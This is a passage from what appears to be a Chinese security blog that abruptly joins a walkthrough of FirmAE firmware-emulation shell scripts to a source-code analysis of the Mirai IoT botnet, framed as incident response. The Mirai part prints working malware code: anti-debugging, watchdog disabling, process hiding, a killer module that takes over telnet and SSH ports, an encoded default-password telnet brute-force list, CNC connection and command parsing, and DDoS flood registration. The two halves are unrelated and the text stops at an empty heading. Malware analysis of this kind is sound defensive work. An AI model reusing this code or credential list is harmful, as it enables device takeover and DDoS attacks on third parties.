mkdir "${IMAGE_DIR}/firmadyne/libnvram/"
mkdir "${IMAGE_DIR}/firmadyne/libnvram.override/"

undifined

inferFile.sh

随后,将一个静态编译的bash-static复制到image目录中,例如cp /usr/bin/bash-static /home/utest/app/FirmAE/scratch/3/image/,然后在宿主机上使用chroot执行inferFile.sh,例如chroot /home/utest/app/FirmAE/scratch/3/image/ /bash-static /inferFile.sh
inferFile.sh的主要功能就是分析固件的文件系统中所包含的启动程序和http server。例如寻找启动程序preinitMTpreinitrcS等等,并将得到的结果写入到/firmadyne/init中,寻找http serveruhttpdhttpdgoaheadalphapdboalighttpd。这些都是IoT设备中常见的http server,如果在仿真模拟一个设备失败的时候不妨检查一下设备固件中的http server是否包含在其中。如下是inferFile.sh的代码,逻辑还是比较简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
BUSYBOX="/busybox"

${BUSYBOX} touch /firmadyne/init

if (${FIRMAE_BOOT}); then
arr=()
if [ -e /kernelInit ]; then
for FILE in `${BUSYBOX} strings ./kernelInit`
do
FULL_PATH=`${BUSYBOX} echo ${FILE} | ${BUSYBOX} awk '{split($0,a,"="); print a[2]}'`
arr+=("${FULL_PATH}")
done
fi
# kernel not handle this program
if [ -e /init ]; then
if [ ! -d /init ]; then
arr+=(/init)
fi
fi
for FILE in `${BUSYBOX} find / -name "preinitMT" -o -name "preinit" -o -name "rcS"`
do
arr+=(${FILE})
done

if (( ${#arr[@]} )); then
# convert to the unique array following the original order
uniq_arr=($(${BUSYBOX} tr ' ' '\n' <<< "${arr[@]}" | ${BUSYBOX} awk '!u[$0]++' | ${BUSYBOX} tr '\n' ' '))
for FILE in "${uniq_arr[@]}"
do
if [ -d ${FILE} ]; then
continue
fi
if [ ! -e ${FILE} ]; then # can't found original file (symbolic link or just file)
if [ -h ${FILE} ]; then # remove old symbolic link
${BUSYBOX} rm ${FILE}
fi
# find original program from binary directories
FILE_NAME=`${BUSYBOX} basename ${FILE}`
if (${BUSYBOX} find /bin /sbin /usr/sbin /usr/sbin -type f -exec ${BUSYBOX} grep -qr ${FILE_NAME} {} \;); then
TARGET_FILE=`${BUSYBOX} find /bin /sbin /usr/sbin /usr/sbin -type f -exec ${BUSYBOX} egrep -rl ${FILE_NAME} {} \; | ${BUSYBOX} head -1`
${BUSYBOX} ln -s ${TARGET_FILE} ${FILE}
else
continue
fi
fi
if [ -e ${FILE} ]; then
${BUSYBOX} echo ${FILE} >> /firmadyne/init
fi
done
fi
fi

${BUSYBOX} echo '/firmadyne/preInit.sh' >> /firmadyne/init

if (${FIRMAE_ETC}); then
if [ -e /etc/init.d/uhttpd ]; then
echo -n "/etc/init.d/uhttpd start" > /firmadyne/service
echo -n "uhttpd" > /firmadyne/service_name
elif [ -e /usr/bin/httpd ]; then
echo -n "/usr/bin/httpd" > /firmadyne/service
echo -n "httpd" > /firmadyne/service_name
elif [ -e /usr/sbin/httpd ]; then
echo -n "/usr/sbin/httpd" > /firmadyne/service
echo -n "httpd" > /firmadyne/service_name
elif [ -e /bin/goahead ]; then
echo -n "/bin/goahead" > /firmadyne/service
echo -n "goahead" > /firmadyne/service_name
elif [ -e /bin/alphapd ]; then
echo -n "/bin/alphapd" > /firmadyne/service
echo -n "alphapd" > /firmadyne/service_name
elif [ -e /bin/boa ]; then
echo -n "/bin/boa" > /firmadyne/service
echo -n "boa" > /firmadyne/service_name
elif [ -e /usr/sbin/lighttpd ]; then # for Ubiquiti firmwares
echo -n "/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf" > /firmadyne/service
echo -n "lighttpd" > /firmadyne/service_name
fi
fi

fixImage.sh

随后继续按照类似的逻辑chroot执行fixImage.sh,例如chroot /home/utest/app/FirmAE/scratch/3/image/ /busybox ash /fixImage.sh
fixImage.sh的主要功能是对镜像中的文件系统进行修补。
将静态编译的busybox复制到镜像的文件系统中:

1
2
3
4
5
if (${FIRMAE_BOOT}); then
if [ ! -e /bin/sh ]; then
${BUSYBOX} ln -s /firmadyne/busybox /bin/sh
fi
${BUSYBOX} ln -s /firmadyne/busybox /firmadyne/sh

在FirmAE论文中提到,使用FirmAdyne仿真模拟失败很大一部分原因是没有创建相应的文件夹例如/proc/tmp/var等等,此处就手动创建常见的文件夹。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mkdir -p "$(resolve_link /proc)"
mkdir -p "$(resolve_link /dev/pts)"
mkdir -p "$(resolve_link /etc_ro)"
mkdir -p "$(resolve_link /tmp)"
mkdir -p "$(resolve_link /var)"
mkdir -p "$(resolve_link /run)"
mkdir -p "$(resolve_link /sys)"
mkdir -p "$(resolve_link /root)"
mkdir -p "$(resolve_link /tmp/var)"
mkdir -p "$(resolve_link /tmp/media)"
mkdir -p "$(resolve_link /tmp/etc)"
mkdir -p "$(resolve_link /tmp/var/run)"
mkdir -p "$(resolve_link /tmp/home/root)"
mkdir -p "$(resolve_link /tmp/mnt)"
mkdir -p "$(resolve_link /tmp/opt)"
mkdir -p "$(resolve_link /tmp/www)"
mkdir -p "$(resolve_link /var/run)"
mkdir -p "$(resolve_link /var/lock)"
mkdir -p "$(resolve_link /usr/bin)"
mkdir -p "$(resolve_link /usr/sbin)"

初次之外,还会分析应用程序中所依赖的目录,并进行创建:

1
2
3
4
5
6
7
8
9
  for FILE in `${BUSYBOX} find /bin /sbin /usr/bin /usr/sbin -type f -perm -u+x -exec ${BUSYBOX} strings {} \; | ${BUSYBOX} egrep "^(/var|/etc|/tmp)(.+)\/([^\/]+)$"`
do
DIR=`${BUSYBOX} dirname "${FILE}"`
if (! ${BUSYBOX} echo "${DIR}" | ${BUSYBOX} egrep -q "(%s|%c|%d|/tmp/services)");then
${BUSYBOX} echo "${DIR}" >> /firmadyne/dir_log
mkdir -p "$(resolve_link ${DIR})"
fi
done
fi

同样也会在/etc目录创建一些必要的文件,例如时区TZ、host文件、passwd。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mkdir -p "$(resolve_link /etc)"
if [ ! -s /etc/TZ ]; then
mkdir -p "$(dirname $(resolve_link /etc/TZ))"
echo "EST5EDT" > "$(resolve_link /etc/TZ)"
fi

if [ ! -s /etc/hosts ]; then
mkdir -p "$(dirname $(resolve_link /etc/hosts))"
echo "127.0.0.1 localhost" > "$(resolve_link /etc/hosts)"
fi

if [ ! -s /etc/passwd ]; then
mkdir -p "$(dirname $(resolve_link /etc/passwd))"
echo "root::0:0:root:/root:/bin/sh" > "$(resolve_link /etc/passwd)"
fi

创建/dev目录下的一些设备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mkdir -p "$(resolve_link /dev)"
FILECOUNT="$($BUSYBOX find /dev -maxdepth 1 -type b -o -type c -print | $BUSYBOX wc -l)"
if [ $FILECOUNT -lt "5" ]; then
echo "Warning: Recreating device nodes!"

if (${FIRMAE_ETC}); then
TMP_BUSYBOX="/busybox"
else
TMP_BUSYBOX=""
fi

${TMP_BUSYBOX} mknod -m 660 /dev/mem c 1 1
${TMP_BUSYBOX} mknod -m 640 /dev/kmem c 1 2
${TMP_BUSYBOX} mknod -m 666 /dev/null c 1 3
${TMP_BUSYBOX} mknod -m 666 /dev/zero c 1 5
${TMP_BUSYBOX} mknod -m 444 /dev/random c 1 8
${TMP_BUSYBOX} mknod -m 444 /dev/urandom c 1 9
${TMP_BUSYBOX} mknod -m 666 /dev/armem c 1 13
......

添加实用工具到文件系统

这一步则主要是将针对目标架构静态编译的实用工具和实用脚本添加到/firmadyne目录中。如下,先判断目标系统的架构,然后复制静态编译的实用程序到/firmadyne目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
for BINARY_NAME in "${BINARIES[@]}"
do
BINARY_PATH=`get_binary ${BINARY_NAME} ${ARCH}`
cp "${BINARY_PATH}" "${IMAGE_DIR}/firmadyne/${BINARY_NAME}"
chmod a+x "${IMAGE_DIR}/firmadyne/${BINARY_NAME}"
done
mknod -m 666 "${IMAGE_DIR}/firmadyne/ttyS1" c 4 65

cp "${SCRIPT_DIR}/preInit.sh" "${IMAGE_DIR}/firmadyne/preInit.sh"
chmod a+x "${IMAGE_DIR}/firmadyne/preInit.sh"

cp "${SCRIPT_DIR}/network.sh" "${IMAGE_DIR}/firmadyne/network.sh"
chmod a+x "${IMAGE_DIR}/firmadyne/network.sh"

cp "${SCRIPT_DIR}/run_service.sh" "${IMAGE_DIR}/firmadyne/run_service.sh"
chmod a+x "${IMAGE_DIR}/firmadyne/run_service.sh"

cp "${SCRIPT_DIR}/injectionChecker.sh" "${IMAGE_DIR}/bin/a"
chmod a+x "${IMAGE_DIR}/bin/a"

touch "${IMAGE_DIR}/firmadyne/debug.sh"
chmod a+x "${IMAGE_DIR}/firmadyne/debug.sh"

if (! ${FIRMAE_ETC}); then
sed -i 's/sleep 60/sleep 15/g' "${IMAGE_DIR}/firmadyne/network.sh"
sed -i 's/sleep 120/sleep 30/g' "${IMAGE_DIR}/firmadyne/run_service.sh"
sed -i 's@/firmadyne/sh@/bin/sh@g' ${IMAGE_DIR}/firmadyne/{preInit.sh,network.sh,run_service.sh}
sed -i 's@BUSYBOX=/firmadyne/busybox@BUSYBOX=@g' ${IMAGE_DIR}/firmadyne/{preInit.sh,network.sh,run_service.sh}
fi

解除挂载

通过将镜像文件挂载到目录,写入文件系统,修改文件系统完毕后,则解除挂载。然后重新挂载镜像文件,并使用e2fsck进行检查,最后解除挂载。

1
2
3
4
5
6
7
8
9
10
echo "----Unmounting QEMU Image----"
sync
umount "${IMAGE_DIR}"
del_partition ${DEVICE:0:$((${#DEVICE}-2))}

DEVICE=`add_partition ${IMAGE}`
e2fsck -y ${DEVICE}
sync
sleep 1
del_partition ${DEVICE:0:$((${#DEVICE}-2))}

至此,将固件中的文件系统写入到磁盘镜像并修改相关文件以提高仿真成功率的工作完毕,得到一个qemu可使用的磁盘镜像。
那么回归到我之前的问题,如何在FirmAE仿真过程中修改固件的文件系统,此时就有如下的方案:

第一种方案是在文件系统从固件提取的过程中进行修改:

  1. extractor.py提取文件系统成功后,暂停,解压并修改文件系统,然后重新打包成压缩包形式
  2. 如果要http server不启动的话,则需要修改相关的判定标志,使得web检查通过或者取消web检查改为使用者手动启动http server

第二种方案是在创建磁盘镜像后,对磁盘镜像中的文件系统进行修改:

  1. 将磁盘镜像进行手动挂载到宿主机,然后进行修改
  2. 同样修改完毕后,如果不想http server启动,也需要修改源码中对web检查的部分。

运行初始化

设置gdb反调试:

1
signal(SIGTRAP, &anti_gdb_entry);   // 如果发生SIGTRAP信号,则调用anti_gdb_entry

SIGTRAP信号是由断点指令或者其他陷阱(trap)指令产生的,因此如果发生该信号说明可能存在调试器。bot在运行的过程中如果触发了该信号量,则调用函数anti_gdb_entry

1
2
3
4
static void anti_gdb_entry(int sig)
{
resolve_func = resolve_cnc_addr;
}

resolve_func是一个函数指针,此处重写为函数resolve_cnc_addr。个人感觉在anti_gdb_entry函数中还可以做更多和反调试相关的事。

关闭看门狗,防止设备重启:

1
2
3
4
5
6
7
8
9
10
// Prevent watchdog from rebooting device
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
(wfd = open("/dev/misc/watchdog", 2)) != -1)
{
int one = 1;

ioctl(wfd, 0x80045704, &one);
close(wfd);
wfd = 0;
}

获取本地地址:

1
LOCAL_ADDR = util_local_addr();

函数util_local_addr通过使用getsockname函数,在未调用bind函数就调用connect函数的情形,获取到socket的本地地址。连接的IP也不一定是8.8.8.8,任意一公网IP即可。函数的返回值是一个整数,可以通过该整数转换成IP地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ipv4_t util_local_addr(void)
{
int fd;
struct sockaddr_in addr;
socklen_t addr_len = sizeof (addr);

errno = 0;
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
#ifdef DEBUG
printf("[util] Failed to call socket(), errno = %d\n", errno);
#endif
return 0;
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
addr.sin_port = htons(53);

connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

getsockname(fd, (struct sockaddr *)&addr, &addr_len);
close(fd);
return addr.sin_addr.s_addr;
}

保证唯一的bot在宿主机上运行:
bot调用函数ensure_single_instance来保证在宿主机上只有一个bot程序在运行,具体的实现原理是通过绑定本地端口48101,根据绑定是否成功判断是否有其他程序在使用该端口,如果有则杀死该进程并重新绑定到端口。不知道48101端口是否还有其他的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
static void ensure_single_instance(void)
{
static BOOL local_bind = TRUE;
struct sockaddr_in addr;
int opt = 1;

if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return;
setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
addr.sin_port = htons(SINGLE_INSTANCE_PORT);

// Try to bind to the control port
errno = 0;
if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
// 如果bind失败且失败原因为EADDRNOTAVAIL,说明本地的48101端口不可用,可能存在其他程序(bot)在使用
if (errno == EADDRNOTAVAIL && local_bind)
local_bind = FALSE;
#ifdef DEBUG
printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
#endif

// Reset addr just in case
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(SINGLE_INSTANCE_PORT);

if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("[main] Failed to connect to fd_ctrl to request process termination\n");
#endif
}

sleep(5);
close(fd_ctrl);
// 杀死占用端口48101的端口
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
ensure_single_instance(); // Call again, so that we are now the control
}
else
{
if (listen(fd_ctrl, 1) == -1)
{
#ifdef DEBUG
printf("[main] Failed to call listen() on fd_ctrl\n");
close(fd_ctrl);
sleep(5);
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
ensure_single_instance();
#endif
}
#ifdef DEBUG
printf("[main] We are the only process on this system!\n");
#endif
}
}

进程隐藏:bot的进程隐藏是结合修改argv[0]和使用prctl两种方式。
隐藏args[0]
bot使用自定义的随机函数获取到一个随机字符串,然后写入到args[0]中,这种方式是通过修改/proc/pid/cmdline,使得ps -efps -aux查看不到正确的进程名和参数。

1
2
3
4
5
// Hide argv0
name_buf_len = ((rand_next() % 4) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
util_strcpy(args[0], name_buf);

在调试过程中使用ps查看bot进程,这是没有修改argv[0]时bot进程名:

1
utest     161447  161324  0 00:20 pts/1    00:00:00 /home/utest/app/Mirai-Source-Code/mirai/debug/mirai.dbg

当执行完毕后,由于原本的进程名太长,修改完毕后还是能查看到一部门进程名。

1
utest     161447  161324  0 00:20 pts/1    00:00:00 ht2jhfsj512jodol8nin -Source-Code/mirai/debug/mirai.dbg

使用prctl
prctl修改了/proc/pid/stat/proc/pid/status 中的进程名称,使得ps -Atop命令无法看到原来的进程名,但是没有修改/proc/pid/cmdline。二者配合可以达到进程隐藏目的。

1
2
3
4
5
// Hide process name
name_buf_len = ((rand_next() % 6) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
prctl(PR_SET_NAME, name_buf);

执行前:

1
2
3
4
5
6
7
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:23]
$ cat /proc/165896/stat
165896 (mirai.dbg) t 161324 165896 121045 34817 161324 1073741824 192 0 0 0 0 0 0 0 20 0 1 0 10699613 1212416 64 18446744073709551615 4198400 4898477 140737488346688 0 0 0 0 0 1088 1 0 0 17 2 0 0 0 0 0 5075104 50
96208 5107712 140737488347330 140737488347386 140737488347386 140737488351168 0
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:30]
$ cat /proc/165896/status
Name: mirai.dbg

执行后:

1
2
3
4
5
6
7
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:41]
$ cat /proc/165896/stat
165896 (s8glsucvw7j7gu4) t 161324 165896 121045 34817 161324 1073741824 192 0 0 0 0 0 0 0 20 0 1 0 10699613 1212416 64 18446744073709551615 4198400 4898477 140737488346688 0 0 0 0 0 1088 1 0 0 17 2 0 0 0 0 0 5075
104 5096208 5107712 140737488347330 140737488347386 140737488347386 140737488351168 0
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:57]
$ cat /proc/165896/status
Name: s8glsucvw7j7gu4

attack模块

bot执行attack_init初始化DDOS相关模块,如下,这其实和登陆到cnc中可以看到的攻击功能是相同的。bot连接到cnc,等待攻击者登陆cnc下发命令,然后bot执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BOOL attack_init(void)
{
int i;

add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);

add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);

add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);

//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);

return TRUE;
}

cnc中的攻击方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
mirai-user@botnet# ?
Available attack list
udp: UDP flood
ack: ACK flood
stomp: TCP stomp flood
greip: GRE IP flood
http: HTTP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
greeth: GRE Ethernet flood
udpplain: UDP flood with less options. optimized for higher PPS

初始化攻击手段则是通过定义一个结构体,将攻击方式和攻击函数写入,然后再保存到全局的攻击方式methods中,这样使得bot的攻击扩展性增加。

1
2
3
4
5
6
7
8
9
10
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
{
struct attack_method *method = calloc(1, sizeof (struct attack_method));

method->vector = vector;
method->func = func;

methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
methods[methods_len++] = method;
}

killer模块

killer_init函数主要有两个功能:

  1. 杀死22、23、80端口的进程,并占用这些端口。物联网设备常用的管理方式就是通过ssh、telnet或者网络http进行管理,bot通过杀死相应进程并占用使得清除bot增加难度。
  2. 检查自身是否有/proc/目录的权限,扫描其中的进程文件夹并杀死满足特定文件名的进程,或者内存中包含某些关键数据的进程。

以杀死23端口进程并占用代码举例:bot先通过killer_kill_by_port杀死23端口进程,然后重新bind绑定并listen监听23端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    tmp_bind_addr.sin_family = AF_INET;
tmp_bind_addr.sin_addr.s_addr = INADDR_ANY;

// Kill telnet service and prevent it from restarting
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
printf("[killer] Trying to kill port 23\n");
#endif
if (killer_kill_by_port(htons(23)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/23 (telnet)\n");
#endif
} else {
#ifdef DEBUG
printf("[killer] Failed to kill port 23\n");
#endif
}
tmp_bind_addr.sin_port = htons(23);

if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif

调用has_exe_access函数检查是否有目录/proc权限,主要通过open打开文件夹来检查

1
2
3
4
5
6
7
    if (!has_exe_access())
{
#ifdef DEBUG
printf("[killer] Machine does not have /proc/$pid/exe\n");
#endif
return;
}

进入循环,判断/proc/下的进程目录:

1
2
3
4
5
while ((file = readdir(dir)) != NULL)
{
// skip all folders that are not PIDs
if (*(file->d_name) < '0' || *(file->d_name) > '9')
continue;

读取/proc/pid/exe获取到被扫描进程的路径,如果找到同类恶意程序anime,则删除对应文件并杀掉进程。

1
2
3
4
5
6
7
8
table_unlock_val(TABLE_KILLER_ANIME);
// If path contains ".anime" kill.
if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
{
unlink(realpath);
kill(pid, 9);
}
table_lock_val(TABLE_KILLER_ANIME);

同样通过/proc/pid/exe获取到进程对应的可执行文件,对其进行扫描,如果其中包含如下的字符串则杀死对应的进程:

1
2
3
4
5
REPORT %s:%s
HTTPFLOOD
LOLNOGTFO
\x58\x4D\x4E\x4E\x43\x50\x46\x22
zollard
1
2
3
4
5
6
7
            if (memory_scan_match(exe_path))
{
#ifdef DEBUG
printf("[killer] Memory scan match for binary %s\n", exe_path);
#endif
kill(pid, 9);
}

memory_scan_match中,则是先通过只读获取到进程的可执行文件的文件描述符fd,然后调用mem_exists函数对其进行检查。mem_exists的机制就是读取到缓冲区,然后判断缓冲区中是否包含制定长度的数据。

1
2
3
4
5
6
7
8
9
10
11
12
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
{
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
{
found = TRUE;
break;
}
}

至此,killer模块大致分析完毕。

scanner模块

scanner模块只有当bot不处于debug编译模式,才会执行。该模块的代码大多手动通过网络编程实现了TCP网络通信例如三次握手、Telnet登陆等,就不做太多代码的分析,而是主要说一下代码的执行流程。

  1. 初始化socket
  2. 初始化IPv4协议头部,初始化TCP协议头部,其中TCP协议头部的端口是随机获取到一个小于1024的端口
  3. 硬编码的、已加密的Telnet字典。每一条弱口令都是使用函数add_auth_entry函数进行添加的。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // Set up passwords
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
    ......
  4. 进入主循环中,开始真正的扫描操作
    1. 向目标的2323端口或者22端口发送SYN包,这一步应该是进行资产的探测
    2. 读取SYN+ACK包,进而建立TCP连接
    3. 如果TCP连接建立成功,则尝试使用弱口令进行登陆
    4. 然后应该是建立了一个Telnet登陆的自动机,来根据不同的返回状态来进行弱口令的登陆爆破
      在scanner模块中,bot主要是做了手动的TCP连接实现,加载静态编码的弱口令字典,并创建了一个自动机来实现对模板设备的自动化Telnet爆破。在实际的分析过程中,对scanner模块中的弱口令字典的提取应该才是比较重要的,网络通信行为知道大概功能应该就差不多了。

CNC通信

当初始化完毕attack、killer、scanner三个模块后,bot进入死循环,和CNC建立通信,并获取CNC的攻击指令下发。
根据pending_connection标志,与CNC尝试建立连接。如果连接成功,会向CNC发送\x00\x00\x00\x01,应该是心跳包,或者上线包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
        if (pending_connection)
{
pending_connection = FALSE;
// 与CNC连接超时
if (!FD_ISSET(fd_serv, &fdsetwr))
{
#ifdef DEBUG
printf("[main] Timed out while connecting to CNC\n");
#endif
teardown_connection();
}
else
{
int err = 0;
socklen_t err_len = sizeof (err);

getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err != 0)
{
// 其他与CNC连接的错误
#ifdef DEBUG
printf("[main] Error while connecting to CNC code=%d\n", err);
#endif
close(fd_serv);
fd_serv = -1;
sleep((rand_next() % 10) + 1);
}
else
{
// 与CNC连接成功
uint8_t id_len = util_strlen(id_buf);

LOCAL_ADDR = util_local_addr();
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
if (id_len > 0)
{
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
}
#ifdef DEBUG
printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR);
#endif
}
}

最后bot会尝试从CNC的连接中读取数据,并使用函数attack_parse来解析下发的攻击指令。

1
2
3
4
5
6
7
8
9
10
11
            // Actually read buffer length and buffer data
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
len = ntohs(len);
recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);

#ifdef DEBUG
printf("[main] Received %d bytes from CNC\n", len);
#endif

if (len > 0)
attack_parse(rdbuf, len);

attack_parse函数中,会解析CNC下发的指令,从中得到DOS持续时间、攻击编号、被攻击目标数量、被攻击目标列表、攻击参数等等。具体的攻击方式也是和TCP编程相关,此处分析暂时忽略。

这是一次真实的应急事件,某个客户的设备被检测出来在持续向外发送大量的流量,疑似被控制作为DDoS肉鸡。经过上机排查进行流量抓包,的确是存在和DDoS攻击现象,也和恶意的CNC在进行通信。
分析mirai样本前,我们首先需要明确分析的目的,此处需要分析得到的内容如下:

  1. CNC会连地址:类似于获取C2的地址来进行溯源
  2. 弱口令字典:以便知道设备是如何沦陷的

CNC回连地址

源码解析

通过之前分析mirai源码,可以知道CNC会连以及相关的配置是在函数table_init->add_entry中进行添加的,每次添加一条。bot源码如下,包含了CNC会连域名+端口,扫描成功结果反馈域名+端口。

1
2
3
4
5
add_entry(TABLE_CNC_DOMAIN, "\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22", 11); // mirai.cnc
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22", 11); // mirai.cnc
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101

但是add_entry是将加密后的数据硬编码到bot中,如果想从样本中获取到解密后的数据,还需要分析样本作者可能自定义的加解密逻辑,如下是add_entry函数的逻辑,可以看到仅是简单的内存复制到table结构体中。

1
2
3
4
5
6
7
8
9
10
11
12
static void add_entry(uint8_t id, char *buf, int buf_len)
{
char *cpy = malloc(buf_len);

util_memcpy(cpy, buf, buf_len);

table[id].val = cpy;
table[id].val_len = (uint16_t)buf_len;
#ifdef DEBUG
table[id].locked = TRUE;
#endif
}

对于table结构体中的加密内容,会在bot的运行过程中根据需要对table中的内容进行实时的加解密,例如在解析CNC地址的时候,就会动态对TABLE_CNC_DOMAINTABLE_CNC_PORT进行解密,使用完毕后,再调用table_lock_val进行加密。通过使用这样的手段,可以防止硬编码的CNC数据被直接从样本静态分析中得到,也可以在一定程度防止某些动态扫描内存的手法从bot中获取到数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void resolve_cnc_addr(void)
{
struct resolv_entries *entries;

table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);
if (entries == NULL)
{
#ifdef DEBUG
printf("[main] Failed to resolve CNC address\n");
#endif
return;
}
srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
resolv_entries_free(entries);

table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);

#ifdef DEBUG
printf("[main] Resolved domain\n");
#endif
}

样本静态分析

